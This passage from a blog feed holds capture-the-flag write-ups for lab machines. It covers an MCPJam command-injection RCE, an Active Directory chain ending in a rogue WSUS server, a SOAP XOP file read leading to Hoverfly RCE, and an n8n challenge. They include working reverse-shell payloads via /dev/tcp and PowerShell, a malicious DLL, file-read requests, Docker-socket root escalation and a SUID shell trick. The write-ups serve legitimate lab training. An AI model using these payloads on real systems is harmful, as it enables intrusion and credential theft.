&quot;unix:///var/run/docker.sock&quot;</pre><p>At this point, three critical pieces line up:</p><ul><li>Arcane is running <strong>v1.13.0</strong>, vulnerable to CVE-2026–23520</li><li>The host’s Docker socket is mounted and exposed</li><li>MCPJam exposes /api/mcp/connect with no authentication whatsoever</li></ul><h4>2. The Vulnerability — CVE-2026–23520 :</h4><p><strong>CVSS 9.1 (Critical)</strong></p><p>The /api/mcp/connect endpoint in MCPJam Inspector accepts a JSON serverConfig object containing command and args fields. These values are passed <strong>directly</strong> to /bin/sh -c, with no sanitization and no authentication check beforehand. The result: fully unauthenticated remote code execution (RCE).</p><p>The malicious payload looks like this:</p><pre>{<br>  &quot;serverId&quot;: &quot;shell1&quot;,<br>  &quot;serverConfig&quot;: {<br>    &quot;command&quot;: &quot;bash&quot;,<br>    &quot;args&quot;: [&quot;-c&quot;, &quot;bash -i &gt;&amp; /dev/tcp/ATTACKER_IP/4444 0&gt;&amp;1&quot;],<br>    &quot;env&quot;: {}<br>  }<br>}</pre><h4>3. Exploitation — Getting a Shell :</h4><p><strong>Step 1 — Start a listener :</strong></p><pre>ncat -lvp 4444</pre><p><strong>Step 2 — Fire the payload :</strong></p><pre>curl -k -X POST https://mcp.kobold.htb/api/mcp/connect \<br>  -H &quot;Content-Type: application/json&quot; \<br>  -d &#39;{<br>    &quot;serverId&quot;: &quot;shell1&quot;,<br>    &quot;serverConfig&quot;: {<br>      &quot;command&quot;: &quot;bash&quot;,<br>      &quot;args&quot;: [&quot;-c&quot;, &quot;bash -i &gt;&amp; /dev/tcp/10.10.14.24/4444 0&gt;&amp;1&quot;],<br>      &quot;env&quot;: {}<br>    }<br>  }&#39;</pre><p><strong>Step 3 — Shell lands :</strong></p><pre>Ncat: Connection from 10.129.245.50.<br>Ncat: Connection from 10.129.245.50:54858.<br>bash: cannot set terminal process group (1532): Inappropriate ioctl<br>ben@kobold:/usr/local/lib/node_modules/@mcpjam/inspector$ whoami<br>ben</pre><p><strong>Step 4 — Stabilize the shell :</strong></p><pre>python3 -c &#39;import pty; pty.spawn(&quot;/bin/bash&quot;)&#39;<br># Ctrl+Z to background it, then in your local terminal:<br>stty raw -echo; fg<br>export TERM=xterm</pre><p>And finally, the user flag:</p><pre>ben@kobold:~$ cat user.txt<br>796e27ea7ed358c48c9338669d33a39b</pre><h4>4. Privilege Escalation :</h4><h3>Eumeration</h3><p>Once settled in as ben, a simple id reveals something useful:</p><pre>ben@kobold:~$ id<br>uid=1001(ben) gid=1001(ben) groups=1001(ben),37(operator)<br><br>ben@kobold:~$ ls -la /var/run/docker.sock<br>srw-rw---- 1 root docker 0 May 9 13:01 /var/run/docker.sock</pre><p>ben belongs to the operator group, which — thanks to the SUID bit on /usr/bin/newgrp — lets us switch directly into the docker group.</p><p>Docker socket access = root</p><p>This is a well-known principle in pentesting: <strong>access to the Docker socket is equivalent to root access</strong> on the host machine. By mounting the host filesystem inside a container and then chroot-ing into that mount, every system protection is bypassed in one move.</p><p><strong>Join the docker group :</strong></p><pre>ben@kobold:~$ newgrp docker<br>ben@kobold:~$ docker ps<br>CONTAINER ID  IMAGE                              STATUS<br>4c49dd7bb727  privatebin/nginx-fpm-alpine:2.0.2  Up 2 hours</pre><p><strong>Mount the host filesystem into a new container :</strong></p><pre>docker run --rm -it -u 0 --entrypoint sh \<br>  -v /:/mnt privatebin/nginx-fpm-alpine:2.0.2</pre><ul><li>-u 0: run the container as root</li><li>-v /:/mnt: mount the entire host filesystem at /mnt</li><li>--entrypoint sh: drop straight into a shell</li></ul><p><strong>Pivot to the host with </strong><strong>chroot:</strong></p><pre>/var/www # chroot /mnt sh<br># id<br>uid=0(root) gid=0(root) groups=0(root)<br># cat /root/root.txt<br>ea3e6e15dd550b74ed6e96e8f066fdd9</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=634eef9eff30" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HTB Writeup — Logging]]></title>
            <link>https://medium.com/@M3h4ydii/htb-writeup-logging-36c2fad78899?source=rss-6bd75260156e------2</link>
            <guid isPermaLink="false">https://medium.com/p/36c2fad78899</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[hackthebox-writeup]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <dc:creator><![CDATA[M3H47D1]]></dc:creator>
            <pubDate>Tue, 14 Jul 2026 22:57:43 GMT</pubDate>
            <atom:updated>2026-07-14T22:57:43.933Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/887/1*YV7k7AbnJjCT5jCGythqjw.png" /></figure><p>Machine Information:</p><p>OS : Windows Server 2019</p><p>Difficulty : Medium</p><p>Domain : logging.htb</p><p>DC : DC01.logging.htb</p><h4>1.Introduction :</h4><p><em>Logging is a Medium-rated Windows Active Directory machine on HackTheBox. It chains six distinct attack primitives into a full domain compromise, covering credential leaks, gMSA abuse, ADCS exploitation, DNS poisoning, and rogue WSUS server injection.</em></p><p>Information :</p><pre>Starting credentials provided by HTB:<br>Username: wallace.everette<br>Password: Welcome2026@</pre><h4>2.Reconnaissance :</h4><p>2.1 Network Scan :</p><pre>sudo nmap -sS -p- -Pn logging.htb --open</pre><pre>Port Service<br>53/tcp DNS<br>80/tcp HTTP (IIS 10.0)<br>88/tcp Kerberos<br>389/tcp LDAP<br>445/tcp SMB<br>5985/tcp WinRM<br>8530/tcp WSUS (HTTP)<br>8531/tcp WSUS (HTTPS)</pre><p>2.2 Clock Skew :</p><p><em>Nmap detected a 7-hour clock skew between the attacker and the DC. Since Kerberos tolerates only 5 minutes of skew, the attacker machine must be synchronized before any Kerberos operation:</em></p><pre>sudo ntpdate &lt;YOUR_IP&gt;</pre><p>2.3 Domain Enumeration :</p><pre>enum4linux-ng -A logging.htb</pre><ul><li>Domain : LOGGING.HTB</li><li>Domain Controller : DC01.LOGGING.HTB</li><li>OS : Windows Server 2019 Build 17763</li><li>SMB SIGNING : Required</li></ul><h4>3.Foothold — Credential Leak in SMB Share :</h4><p>Using the provided credentials, enumerate available SMB shares:</p><pre>smbclient //10.129.245.130/Logs -U &#39;logging.htb\wallace.everette%Welcome2026@&#39;</pre><p>The Logs share contains four log files. The most critical is IdentitySync_Trace_20260219.log.</p><p>3.2 Extracting Credentials :</p><pre># Inside smbclient<br>mget *<br>exit<br><br># Read the identity sync log<br>cat IdentitySync_Trace_20260219.log</pre><p>The log contains a raw LDAP bind dump:</p><pre>[2026-02-09 03:00:03.125] VERBOSE - ConnectionContext Dump: {<br>  Domain: &quot;logging.htb&quot;,<br>  Server: &quot;DC01&quot;,<br>  BindUser: &quot;LOGGING\svc_recovery&quot;,<br>  BindPass: &quot;Em3rg3ncyPa$$2025&quot;,<br>  Timeout: 30<br>}</pre><blockquote><strong>The password contains 2025. The machine uses an annual rotation policy. The log shows an LDAP_INVALID_CREDENTIALS error in February 2026, meaning the password was rotated. The working value is:<br>Em3rg3ncyPa$$2026</strong></blockquote><h4>4.Kerberos TGT for svc\_recovery :</h4><p>Since svc_recovery is a member of the <strong>Protected Users</strong> group, NTLM authentication is blocked. Only Kerberos works.</p><pre>getTGT.py logging.htb/svc_recovery:&#39;Em3rg3ncyPa$$2026&#39; -dc-ip 10.129.245.130<br>export KRB5CCNAME=svc_recovery.ccache</pre><p>4.1 BloodHound Enumeration :</p><pre>bloodhound-python \<br>  -d logging.htb \<br>  -u svc_recovery \<br>  -p &#39;Em3rg3ncyPa$$2026&#39; \<br>  -dc DC01.logging.htb \<br>  -ns 10.129.245.130 \<br>  -c all</pre><p>BloodHound reveals a critical edge: svc_recovery has <strong>GenericWrite</strong> on the gMSA account msa_health$.</p><h4>5.gMSA Abuse — NT Hash Dump :</h4><p>5.1 Understanding the Attack :<br>The GenericWrite right on a gMSA allows overwriting the <strong>msDS-GroupMSAMembership</strong> attribute — a security descriptor controlling which principals can retrieve the gMSA’s password blob from the DC.</p><p>5.2 Patching msDS-GroupMSAMembership :</p><pre>bloodyAD -d logging.htb \<br>  -u svc_recovery \<br>  -p &#39;Em3rg3ncyPa$$2026&#39; \<br>  --dc-ip 10.129.245.130 \<br>  -H DC01.logging.htb \<br>  -k set object &#39;msa_health$&#39; msDS-GroupMSAMembership \<br>  -v &#39;O:SYD:(A;;0xf01ff;;;S-1-5-21-4020823815-2796529489-1682170552-2104)&#39;</pre><p>The SID -2104 corresponds to svc_recovery.</p><p>5.3 Dumping the gMSA Hash :</p><pre>nxc ldap DC01.logging.htb \<br>  -u svc_recovery \<br>  -p &#39;Em3rg3ncyPa$$2026&#39; \<br>  -k --gmsa</pre><p>Hash Found :</p><pre>msa_health$ NT Hash: 603fc24ee01a9409f83c9d1d701485c5</pre><h4>6. WinRM Foothold as msa\_health$ :</h4><pre>getTGT.py logging.htb/&#39;msa_health$&#39; \<br>  -hashes :603fc24ee01a9409f83c9d1d701485c5 \<br>  -dc-ip 10.129.245.130<br><br>export KRB5CCNAME=msa_health\$.ccache<br><br>evil-winrm -i DC01.logging.htb -r LOGGING.HTB</pre><p>We now have a shell as logging\msa_health$.</p><h4>7.Lateral Movement — DLL Hijack via Scheduled Task :</h4><p>7.1 Discovering the Attack Vector :</p><p>Inside C:\Users\msa_health$\Documents, the file monitor.ps1 reveals a scheduled task called <strong>UpdateChecker Agent</strong></p><pre>$service = New-Object -ComObject &quot;Schedule.Service&quot;<br>$service.Connect()<br>$task = $service.GetFolder(&quot;\&quot;).GetTask(&quot;UpdateChecker Agent&quot;)<br>$task.Definition.Principal | Select-Object UserId, LogonType, RunLevel<br>$task.Definition.Actions | ForEach-Object { $_.Path; $_.Arguments }<br>$task.Definition.Triggers | ForEach-Object { $_.Repetition.Interval }</pre><p>Key findings:<br>• Runs as: jaylee.clifton (stored password, LogonType=1)<br>• Executable: C:\Program Files\UpdateMonitor\UpdateMonitor.exe<br>• Interval: every 3 minutes (PT3M)</p><p>7.2 Reverse Engineering UpdateMonitor.exe :</p><p>Extracting UTF-16 strings from the .NET binary reveals:</p><pre>python3 -c &quot;<br>with open(&#39;UpdateMonitor.exe&#39;, &#39;rb&#39;) as f:<br>    data = f.read()<br>import re<br>strings = re.findall(b&#39;(?:[\x20-\x7e]\x00){4,}&#39;, data)<br>for s in strings:<br>    decoded = s.decode(&#39;utf-16-le&#39;).strip()<br>    if decoded: print(decoded)<br>&quot; | sort -u</pre><p>Critical strings found:<br>• settings_update.dll — DLL loaded via LoadLibrary<br>• C:\ProgramData\UpdateMonitor\Settings_Update.zip — ZIP source<br>• C:\Program Files\UpdateMonitor\bin\ — extraction target<br>• PreUpdateCheck — exported function called after loading</p><p>7.3 Crafting the Malicious DLL :</p><p>Important constraints:<br>• Must be 32-bit (the .NET host uses Prefer 32-bit)<br>• Must export PreUpdateCheck function<br>• Must not block (use non-interactive commands</p><pre>cat &gt; /tmp/payload.c &lt;&lt; &#39;EOF&#39;<br>#include &lt;windows.h&gt;<br><br>BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) {<br>    return TRUE;<br>}<br><br>__declspec(dllexport) void PreUpdateCheck() {<br>    system(&quot;cmd.exe /c powershell -nop -w hidden -c \<br>    \&quot;$c=New-Object Net.Sockets.TCPClient(&#39;ATTACKER_IP&#39;,5555);\<br>    $s=$c.GetStream();...$c.Close()\&quot;&quot;);<br>}<br>EOF<br><br># Compile as 32-bit<br>i686-w64-mingw32-gcc -shared -o settings_update.dll /tmp/payload.c -s<br><br># Verify architecture<br>file settings_update.dll<br># Output: PE32 executable (DLL) (console) Intel 80386<br><br># Package into ZIP<br>zip -j Settings_Update.zip settings_update.dl</pre><p>7.4 Delivering the Payload :</p><pre># Upload ZIP<br>upload Settings_Update.zip<br>move-item &quot;C:\Users\msa_health$\Documents\Settings_Update.zip&quot; `<br>  &quot;C:\ProgramData\UpdateMonitor\Settings_Update.zip&quot; -Force<br>icacls &quot;C:\ProgramData\UpdateMonitor\Settings_Update.zip&quot; /grant &quot;Everyone:(F)&quot;<br><br># Monitor execution<br>Get-Content &quot;C:\ProgramData\UpdateMonitor\Logs\monitor.log&quot; -Tail 5 -Wait</pre><p>After up to 3 minutes, the log shows:</p><pre>[2026-05-01 12:05:16] Successfully unzipped update to C:\Program Files\UpdateMonitor\bin\<br>[2026-05-01 12:05:16] Loading update applier: ...\settings_update.dll<br>[2026-05-01 12:05:16] Calling &#39;PreUpdateCheck&#39; in settings_update.dll</pre><pre>User Flag: 46825b6c552f7fa70a9f9aede46daf64<br>Found at: C:\Users\jaylee.clifton\Desktop\user.txt</pre><p><strong>8.Privilege Escalation — ADCS Certificate Abuse :</strong></p><p>8.1 Discovering the Vulnerable Template :</p><p>Using certipy, a vulnerable ADCS template is found :</p><pre>certipy find \<br>  -u wallace.everette@logging.htb \<br>  -p &#39;Welcome2026@&#39; \<br>  -dc-ip 10.129.245.130 \<br>  -vulnerable -stdout</pre><p>Template UpdateSrv has:<br>• ENROLLEE_SUPPLIES_SUBJECT flag enabled<br>• Server Authentication EKU<br>• Enrollment rights: LOGGING\IT group (jaylee.clifton is a member)</p><p>8.2 Generating CSR and Enrolling Certificate :</p><pre>openssl req -newkey rsa:2048 -nodes \<br>  -keyout wsus_key.pem \<br>  -out wsus.csr \<br>  -subj &quot;/CN=wsus.logging.htb&quot;</pre><p>A DLL payload submits the CSR using certreq as jaylee.clifton:</p><pre>__declspec(dllexport) void PreUpdateCheck() {<br>    system(&quot;powershell -c \&quot;certreq -f -submit \<br>    -config &#39;DC01.logging.htb\\logging-DC01-CA&#39; \<br>    -attrib &#39;CertificateTemplate:UpdateSrv&#39; \<br>    C:\\ProgramData\\UpdateMonitor\\wsus.csr \<br>    C:\\ProgramData\\UpdateMonitor\\cert.cer | \<br>    Out-File C:\\ProgramData\\UpdateMonitor\\out.txt\&quot;&quot;);<br>}</pre><p>After execution, the output confirms:<br>C e r t i f i c a t e r e t r i e v e d ( I s s u e d ) I s s u e d</p><p>8.3 Creating the PFX :</p><pre>openssl pkcs12 -export \<br>  -out wsus_srv.pfx \<br>  -inkey wsus_key.pem \<br>  -in cert.cer \<br>  -passout pass:<br><br># Extract PEM for wsuks<br>openssl pkcs12 -in wsus_srv.pfx -clcerts -nokeys -out wsus_cert.pem -passin pass:<br>openssl pkcs12 -in wsus_srv.pfx -nocerts -nodes -out wsus_key_out.pem -passin pass:<br>cat wsus_cert.pem wsus_key_out.pem &gt; wsus_combined.pem</pre><h4>9.DNS Poisoning — No ARP Required :</h4><p>9.1 Why This Works<br>msa_health$ has <strong>SeMachineAccountPrivilege</strong>, allowing creation of computer accounts.Computer accounts have dnsNode create-child rights in AD-integrated DNS zones by de-fault. This allows adding arbitrary DNS records without any layer-2 access or ARPspoofing</p><p>9.2 Adding the DNS Record :</p><pre>python3 dnstool.py \<br>  -u &#39;logging\msa_health$&#39; \<br>  -p &#39;aad3b435b51404eeaad3b435b51404ee:603fc24ee01a9409f83c9d1d701485c5&#39; \<br>  -r wsus \<br>  -a add \<br>  -t A \<br>  -d ATTACKER_IP \<br>  -dns-ip 10.129.245.130 \<br>  DC01.logging.htb</pre><p>9.3 Verification :</p><pre>nslookup wsus.logging.htb 10.129.245.130<br># Output: Address: ATTACKER_IP</pre><h4>10.Rogue WSUS — — PsExec as SYSTEM :</h4><p>10.1 Why wsuks Instead of pywsus :</p><p>pywsus fails silently on Server 2019: its sync-updates.xml advertises updates under a Windows product category that Server 2019 is not a member of, so SyncUpdates returnscleanly with 0 updates detected.<br>wsuks ships a minimal sync-updates.xml without this prerequisite, completing the full WSUS handshake.</p><p>10.2 Stubbing the Router Module :</p><p>Since DNS control replaces the need for ARP spoofing:</p><pre>sudo tee /usr/local/lib/python3.10/dist-packages/wsuks/lib/router.py &lt;&lt; &#39;EOF&#39;<br>class Router:<br>    def __init__(self, *args, **kwargs):<br>        pass<br>    def start(self, *args, **kwargs):<br>        pass<br>    def stop(self, *args, **kwargs):<br>        pass<br>EOF</pre><p>10.3 Launching the Rogue WSUS Server :</p><pre>sudo wsuks \<br>  --serve-only \<br>  --tls-cert wsus_combined.pem \<br>  -t 10.129.245.130 \<br>  -I tun0 \<br>  -e PsExec64.exe \<br>  -c &#39;/accepteula /s cmd.exe /c &quot;net localgroup administrators msa_health$ /add&quot;&#39;</pre><p>10.4 Triggering Windows Update :</p><p>From the WinRM session as msa_health\$:</p><pre>Stop-Service wuauserv -Force<br>Start-Service wuauserv<br>wuauclt /resetauthorization /detectnow<br>usoclient StartScan</pre><p>10.5 WSUS Handshake :</p><p>The rogue WSUS server logs show the full handshake:</p><pre>[+] Received POST: GetConfig<br>[+] Received POST: GetCookie<br>[+] Received POST: SyncUpdates<br>[+] Received POST: GetExtendedUpdateInfo<br>[+] GET request for exe: /PsExec64.exe</pre><p>PsExec64.exe (Microsoft-signed) is downloaded and executed as <strong>NT AUTHOR-ITY\SYSTEM</strong>, adding msa_health$ to the local Administrators group.</p><p>10.6 Obtaining Root Flag :</p><p>Reconnect with a fresh token to pick up the new admin rights:</p><pre>getTGT.py logging.htb/&#39;msa_health$&#39; \<br>  -hashes :603fc24ee01a9409f83c9d1d701485c5 \<br>  -dc-ip 10.129.245.130<br><br>export KRB5CCNAME=msa_health\$.ccache<br>evil-winrm -i DC01.logging.htb -r LOGGING.HTB</pre><pre>type C:\Users\toby.brynleigh\Desktop\root.txt</pre><p>Flag Found :</p><pre>Root Flag: 9677cdcfeed1b79f14ea15377b59be48<br>Found at: C:\Users\toby.brynleigh\Desktop\root.txt</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=36c2fad78899" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HTB Writeup — DevArea]]></title>
            <link>https://medium.com/@M3h4ydii/htb-writeup-devarea-3c5bdf2626ee?source=rss-6bd75260156e------2</link>
            <guid isPermaLink="false">https://medium.com/p/3c5bdf2626ee</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[hackthebox-writeup]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[M3H47D1]]></dc:creator>
            <pubDate>Tue, 14 Jul 2026 22:03:10 GMT</pubDate>
            <atom:updated>2026-07-14T22:03:10.124Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/887/1*pB1hG1Gpl2aTYcTuI8omkw.png" /></figure><p><strong>Target:</strong> devarea.htb</p><p><strong>Difficulty:</strong> Medium (SOAP/XXE-style file read → credential leak → Hoverfly middleware RCE → sudo binary hijack)</p><ol><li>Reconnaissance</li></ol><pre>sudo nmap -sS -p- devarea.htb --open</pre><pre>PORT     STATE SERVICE<br>21/tcp   open  ftp<br>22/tcp   open  ssh<br>80/tcp   open  http<br>8080/tcp open  http-proxy<br>8500/tcp open  fmtp<br>8888/tcp open  sun-answerbook</pre><p><strong>8080</strong> — SOAP web service (EmployeeService), Apache CXF on Jetty. WSDL at http://localhost:8080/employeeservice?wsdl, exposing a submitReport operation (employeeName, department, confidential, content).</p><p><strong>8888</strong> — Hoverfly admin API.</p><p><strong>8500</strong> — likely the Hoverfly proxy port.</p><p>2. Initial Foothold — Arbitrary File Read via XOP/MTOM xop:Include</p><p>The content field accepts an <strong>MTOM/XOP attachment reference</strong>. CXF resolves xop:Include by fetching whatever href is given — including file:// URIs — and embeds the result (base64) back into the response. This gives <strong>arbitrary local file read</strong>.</p><p><strong>Reading </strong><strong>/etc/hostname:</strong></p><pre>curl -X POST http://devarea.htb:8080/employeeservice \<br>-H &#39;Content-Type: multipart/related; type=&quot;application/xop+xml&quot;; start=&quot;rootpart@example.com&quot;; boundary=&quot;MIMEBoundary&quot;; start-info=&quot;text/xml&quot;&#39; \<br>-d &#39;--MIMEBoundary<br>Content-Type: application/xop+xml; charset=UTF-8; type=&quot;text/xml&quot;<br>Content-Transfer-Encoding: 8bit<br>Content-ID: rootpart@example.com<br><br>&lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&gt;<br>&lt;soapenv:Envelope xmlns:soapenv=&quot;http://schemas.xmlsoap.org/soap/envelope/&quot;<br>xmlns:dev=&quot;http://devarea.htb/&quot;&gt;<br>&lt;soapenv:Body&gt;<br>&lt;dev:submitReport&gt;<br>&lt;arg0&gt;<br>&lt;confidential&gt;false&lt;/confidential&gt;<br>&lt;content&gt;<br>&lt;xop:Include xmlns:xop=&quot;http://www.w3.org/2004/08/xop/include&quot;<br>href=&quot;file:///etc/hostname&quot;/&gt;<br>&lt;/content&gt;<br>&lt;department&gt;IT&lt;/department&gt;<br>&lt;employeeName&gt;test&lt;/employeeName&gt;<br>&lt;/arg0&gt;<br>&lt;/dev:submitReport&gt;<br>&lt;/soapenv:Body&gt;<br>&lt;/soapenv:Envelope&gt;<br>--MIMEBoundary--&#39;</pre><p>Response leaks the file, base64-encoded, inside &lt;return&gt;:</p><pre>&lt;return&gt;Report received from test. Department: IT. Content: ZGV2YXJlYQo=&lt;/return&gt;</pre><pre>echo &quot;ZGV2YXJlYQo=&quot; | base64 -d   # devarea</pre><p><strong>Pivoting to a systemd unit file</strong> (looking for credentials/architecture hints):</p><pre>curl -X POST http://devarea.htb:8080/employeeservice \<br>-H &#39;Content-Type: multipart/related; type=&quot;application/xop+xml&quot;; start=&quot;rootpart@example.com&quot;; boundary=&quot;MIMEBoundary&quot;; start-info=&quot;text/xml&quot;&#39; \<br>-d &#39;--MIMEBoundary<br>Content-Type: application/xop+xml; charset=UTF-8; type=&quot;text/xml&quot;<br>Content-Transfer-Encoding: 8bit<br>Content-ID: rootpart@example.com<br><br>&lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&gt;<br>&lt;soapenv:Envelope xmlns:soapenv=&quot;http://schemas.xmlsoap.org/soap/envelope/&quot;<br>xmlns:dev=&quot;http://devarea.htb/&quot;&gt;<br>&lt;soapenv:Body&gt;<br>&lt;dev:submitReport&gt;<br>&lt;arg0&gt;<br>&lt;confidential&gt;false&lt;/confidential&gt;<br>&lt;content&gt;<br>&lt;xop:Include xmlns:xop=&quot;http://www.w3.org/2004/08/xop/include&quot;<br>href=&quot;file:///etc/systemd/system/hoverfly.service&quot;/&gt;<br>&lt;/content&gt;<br>&lt;department&gt;IT&lt;/department&gt;<br>&lt;employeeName&gt;test&lt;/employeeName&gt;<br>&lt;/arg0&gt;<br>&lt;/dev:submitReport&gt;<br>&lt;/soapenv:Body&gt;<br>&lt;/soapenv:Envelope&gt;<br>--MIMEBoundary--&#39; | grep -oP &#39;Content: \K[^&lt;]+&#39; | base64 -d</pre><p>Returns the unit file with <strong>credentials in </strong><strong>ExecStart</strong>:</p><pre>[Service]<br>User=dev_ryan<br>Group=dev_ryan<br>WorkingDirectory=/opt/HoverFly<br>ExecStart=/opt/HoverFly/hoverfly -add -username admin -password O7IJ27MyyXiU -listen-on-host 0.0.0.0</pre><p>→ Hoverfly runs as <strong>dev_ryan</strong>; creds <strong>admin : O7IJ27MyyXiU</strong>.</p><p>3. Hoverfly Admin API → RCE</p><p>Authenticate to get a JWT:</p><pre>curl -X POST http://devarea.htb:8888/api/token-auth \<br>-H &quot;Content-Type: application/json&quot; \<br>-d &#39;{&quot;username&quot;:&quot;admin&quot;,&quot;password&quot;:&quot;O7IJ27MyyXiU&quot;}&#39;</pre><pre>TOKEN=&quot;eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9....&quot;</pre><p>Hoverfly’s <strong>middleware</strong> feature lets an authenticated admin set an arbitrary binary/script that runs against every intercepted request — a known RCE primitive:</p><pre>cat &gt; /tmp/middleware.json &lt;&lt; &#39;EOF&#39;<br>{&quot;binary&quot;:&quot;/bin/bash&quot;,&quot;script&quot;:&quot;bash -i &gt;&amp; /dev/tcp/&lt;YOUR_IP&gt;/&lt;YOUR_PORT&gt; 0&gt;&amp;1&quot;}<br>EOF<br>curl -X PUT http://devarea.htb:8888/api/v2/hoverfly/middleware \<br>-H &quot;Authorization: Bearer $TOKEN&quot; \<br>-H &quot;Content-Type: application/json&quot; \<br>-d @/tmp/middleware.json</pre><p>(Listener started beforehand: nc -lvnpport.) This yields a shell as <strong>dev_ryan</strong>.</p><p>4. Privilege Escalation — dev_ryan → root</p><pre>sudo -l</pre><pre>User dev_ryan may run the following commands on devarea:<br>    (root) NOPASSWD: /opt/syswatch/syswatch.sh web-stop, !/opt/syswatch/syswatch.sh web-restart</pre><p>syswatch.sh web-stop runs as root and internally invokes bash. /usr/bin/bash itself is writable by dev_ryan — a binary-hijack opportunity.</p><p><strong>Craft a fake bash:</strong></p><pre>printf &#39;#!/bin/sh\ncp /tmp/bash_backup /tmp/rootbash\nchown root:root /tmp/rootbash\nchmod 4777 /tmp/rootbash\n&#39; &gt; /tmp/fakebash<br>chmod +x /tmp/fakebash</pre><p>(/tmp/bash_backup is a pre-staged copy of the genuine /bin/bash, taken before overwriting the system one.)</p><p><strong>Swap it in via Perl</strong> (a plain cp fails since the running binary is busy):</p><pre>perl -e &#39;use File::Copy &quot;cp&quot;; cp(&quot;/tmp/fakebash&quot;,&quot;/usr/bin/bash&quot;)&#39;<br>file /usr/bin/bash   # POSIX shell script, ASCII text executable</pre><p><strong>Trigger it as root:</strong></p><pre>sudo /opt/syswatch/syswatch.sh --version<br># cp: cannot create regular file &#39;/tmp/rootbash&#39;: Text file busy   &lt;- confirms it already ran once<br>ls -la /tmp/rootbash<br># -rwsrwxrwx 1 root root 1446024 Apr  1 22:23 /tmp/rootbash</pre><p><strong>Root shell:</strong></p><pre>/tmp/rootbash -p<br>whoami        # root<br>cat /root/root.txt<br># 187a2e97021da177140373563dcc6cb5</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3c5bdf2626ee" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How I Pwned N8N: From Exposed Credentials to Root via Docker Escape | DGSSI National CTF]]></title>
            <link>https://medium.com/@M3h4ydii/how-i-pwned-n8n-from-exposed-credentials-to-root-via-docker-escape-dgssi-national-ctf-c45d68c37558?source=rss-6bd75260156e------2</link>
            <guid isPermaLink="false">https://medium.com/p/c45d68c37558</guid>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[docker]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[ctf]]></category>
            <dc:creator><![CDATA[M3H47D1]]></dc:creator>
            <pubDate>Sun, 29 Mar 2026 16:55:31 GMT</pubDate>
            <atom:updated>2026-03-29T17:03:16.636Z</atom:updated>
            <content:encoded><![CDATA[<p>Pwning N8N — From Exposed Credentials to Docker Escape &amp; Root</p><ul><li>*Platform:** SecDojo | **Difficulty:** Intermediate | **Points:** 150 <br>**Topics:** AI · AI Security · N8n · Sandbox Escape <br>**Author:** M1TN1CK</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*v2Ng7hV1e3SiER0fsf6pLQ.png" /></figure><p>Overview</p><p>AutoFlow Systems uses an AI-powered workflow automation platform (n8n) to manage their internal operations. During a routine security assessment, we were tasked with finding exploitable weaknesses in their infrastructure and gaining root access to the underlying host.</p><p>This challenge covers:</p><ul><li>Port scanning and directory fuzzing for reconnaissance</li><li>Credential exposure via a debug endpoint</li><li>n8n JavaScript sandbox bypass</li><li>Docker socket escape for host privilege escalation</li></ul><h3>Step 1 — Port Scanning with Nmap :</h3><p>The first step in any CTF is reconnaissance. We ran an nmap scan to discover open ports and running services:</p><pre>nmap -sV -p- -Pn 10.8.0.2 --open</pre><p>Results:</p><pre>PORT     STATE SERVICE VERSION<br>22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.13<br>5678/tcp open  http    n8n workflow automation</pre><p>Two ports were open:</p><ul><li><strong>Port 22</strong> — SSH (OpenSSH 8.9p1 on Ubuntu)</li><li><strong>Port 5678</strong> — n8n workflow automation platform</li></ul><p>The n8n service on port 5678 was our primary target.</p><h3>Step 2 — Directory Fuzzing with Dirsearch</h3><p>With the n8n service identified, we used <strong>dirsearch</strong> to fuzz for hidden endpoints and directories:</p><pre>dirsearch -u http://10.8.0.2:5678 -e* -x 400-500</pre><p><strong>Key discovery:</strong></p><pre>[200] /webhook/health<br>[200] /home/workflows<br>[302] /</pre><p>The <strong>/webhook/health</strong> endpoint stood out — it returned a 200 status without authentication, which is unusual for an internal platform.</p><h3>Step 3 — Credential Exposure via Debug Endpoint</h3><p>A curl request to the discovered health endpoint revealed sensitive debug information:</p><pre>curl http://10.8.0.2:5678/webhook/health</pre><p><strong>Response:</strong></p><pre>{<br>  &quot;status&quot;: &quot;healthy&quot;,<br>  &quot;timestamp&quot;: &quot;2026-03-12T21:00:51.955Z&quot;,<br>  &quot;uptime_hours&quot;: 847.32,<br>  &quot;memory&quot;: {<br>    &quot;total_mb&quot;: 4096,<br>    &quot;free_mb&quot;: 1247,<br>    &quot;usage_pct&quot;: 69.56<br>  },<br>  &quot;hostname&quot;: &quot;n8n-prod-01&quot;,<br>  &quot;_debug&quot;: {<br>    &quot;node_version&quot;: &quot;v20.18.1&quot;,<br>    &quot;env&quot;: &quot;staging&quot;,<br>    &quot;setup_ref&quot;: &quot;https://wiki.internal/n8n-setup&quot;,<br>    &quot;admin_email&quot;: &quot;admin@cyberlab.local&quot;,<br>    &quot;init_password&quot;: &quot;CyberL4b_N8N_2026!&quot;,<br>    &quot;note&quot;: &quot;CHANGE DEFAULT CREDS - ticket OPS-4821&quot;<br>  }<br>}</pre><p>Admin credentials leaked in plain text 